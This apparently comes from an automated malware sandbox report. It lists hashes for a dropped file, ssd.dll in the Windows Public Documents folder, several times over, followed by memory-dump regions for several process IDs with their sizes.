\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d00773a07e0d7f7e843d4dcb3a21abd0

SHA1
17690798074e37e35091cb515b22661cf92d63fd

SHA256
43c12d7dee2b27d57b9a5b80c034600c6b396dfc1534379c481d05cb24ab7e49

SHA512
f0857e1980dfe39665d877ce4b5150be952fd2a451937d886cfa563c6769a54aec5aba79c2d28911b23dc768c2699362abd3920a950e81a360effb98d21c06ce

Download Submit
memory/1188-70-0x0000000000240000-0x0000000000268000-memory.dmp

Filesize
160KB

Download
memory/1296-87-0x00000000025B0000-0x00000000025D8000-memory.dmp

Filesize
160KB

Download
memory/1296-90-0x00000000027C0000-0x00000000027E8000-memory.dmp

Filesize
160KB

Download
memory/1296-77-0x00000000002A0000-0x00000000002C8000-memory.dmp

Filesize
160KB

Download
memory/1296-81-0x0000000000A50000-0x0000000000A78000-memory.dmp

Filesize
160KB

Download
memory/1296-85-0x0000000002500000-0x0000000002528000-memory.dmp

Filesize
160KB

Download
memory/1668-57-0x0000000075F81000-0x0000000075F83000-memory.dmp

Filesize
8KB

Download
memory/1668-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1668-54-0x000000002FC81000-0x000000002FC84000-memory.dmp

Filesize
12KB

Download
memory/1668-55-0x0000000071551000-0x0000000071553000-memory.dmp

Filesize
8KB

Download
memory/1668-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1732-95-0x0000000000320000-0x0000000000348000-memory.dmp

Filesize
160KB

Download
memory/1732-97-0x00000000003C0000-0x00000000003E8000-memory.dmp

Filesize
160KB

Download
memory/1732-99-0x0000000000A10000-0x0000000000A38000-memory.dmp

Filesize
160KB

Download
memory/1732-105-0x0000000002820000-0x0000000002848000-memory.dmp

Filesize
160KB

Download
memory/1732-107-0x0000000002880000-0x00000000028A8000-memory.dmp

Filesize
160KB

Download
memory/1732-109-0x0000000002930000-0x0000000002958000-memory.dmp

Filesize
160KB

Download
memory/1732-111-0x0000000002A60000-0x0000000002A88000-memory.dmp

Filesize
160KB

Download
memory/1732-113-0x0000000002B70000-0x0000000002B98000-memory.dmp

Filesize
160KB

Download
memory/1732-115-0x0000000002BD1000-0x0000000002BF5000-memory.dmp

Filesize
144KB

Download
memory/1836-63-0x00000000022D0000-0x00000000025D0000-memory.dmp

Filesize
3.0MB

Download
memory/1836-62-0x00000000022D0000-0x00000000025D0000-memory.dmp

Filesize
3.0MB

Download